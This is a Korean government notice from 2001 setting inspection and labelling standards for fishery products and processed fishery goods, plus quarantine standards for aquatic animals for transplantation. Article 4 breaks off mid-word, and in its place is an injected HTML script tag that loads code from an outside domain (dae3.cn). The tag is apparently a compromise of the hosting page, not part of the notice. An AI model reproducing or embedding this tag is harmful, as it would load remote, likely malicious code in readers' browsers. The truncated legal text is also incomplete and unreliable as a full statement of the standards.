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수산물·수산가공품검사기준및이식용수산물검역기준
작성자 식품안전부 등록일 2002/01/02 조회 11705
첨부
국립수산물품질검사원고시 제2001 - 15호

수산물·수산가공품검사기준및이식용수산물검역기준을 다음과 같이 개정·고시합니다.

2001년 12월 28일
국립수산물품질검사원장


수산물·수산가공품검사기준및이식용수산물검역기준

제1조(목적) 수산물품질관리법시행규칙(이하 \"규칙\"이라 한다) 제46조 및 제61조의 규정에 의하여 수산물·수산물가공품 및 이식용수산물에 대한 검사 및 검역기준을 정하여 업무의 공정성과 객관성을 확보함을 목적으로 한다.

제2조(수산물·수산가공품의 검사기준) ①규칙 제46조의 규정에 의한 수산물·수산가공품의 검사기준은 다음 각호와 같다.

1. 수산물품질관리법(이하 \"법\"이라 한다) 제29조제1항제1호의 규정에 의하여 정부에서 수매·비축하는 수산물·수산가공품의 검사기준은 수산물 정부비축사업집행지침이 정하는 바에 의한다.

2. 법 제29조제1항제2호의 규정에 의하여 외국과의 협약 또는 수출상대국의 요청에 의하여 검사가 필요한 수산물·수산가공품의 검사기준은 별표 1과 같다.

3. 제1항제1호 및 제2호외의 수산물·수산가공품에 대하여 검사신청이 있는 경우에는 별표 1의 검사기준을 적용한다.

②별표 1에서 정하여지지 아니한 수산물·수산가공품의 검사기준은 식품위생법 제7조의 규정에 의하여 식품의약품안전청장이 정하여 고시한 기준·규격을 적용한다.

③제1항제2호 및 제2항의 규정에 의한 검사기준에도 불구하고 규칙 제44조의 규정에 의하여 외국과의 협약 또는 수출상대국이 요청하는 검사기준이 정하여져 있거나 수입국·수입자 또는 검사신청인이 요구하는 검사기준이 있는 경우에는 그 기준·규격을 우선 적용한다.

제3조(수산물·수산가공품의 표시기준) ①외국과의 협약에서 정하여진 표시기준이 있거나 수입국에서 요구하는 표시기준이 있는 경우에는 그 기준에 따라 표시한다.

②협약이나 수입국에서 요구하는 표시기준이 없는 경우에는 품명(또는 종류), 중량(또는 수량), 원산지명 및 제조업자명(또는 가공업자명이나 수출업자명)을 표시하여야 한다. 다만, 수입국에서 요구하거나 포장조건 및 포장상태에 따라 그 표시를 생략할 수 있다.

제4조(이식용수산물의 검역기준) 규칙 제61조의 규정에 의한 이식용수?script src=http://dae3.cn>
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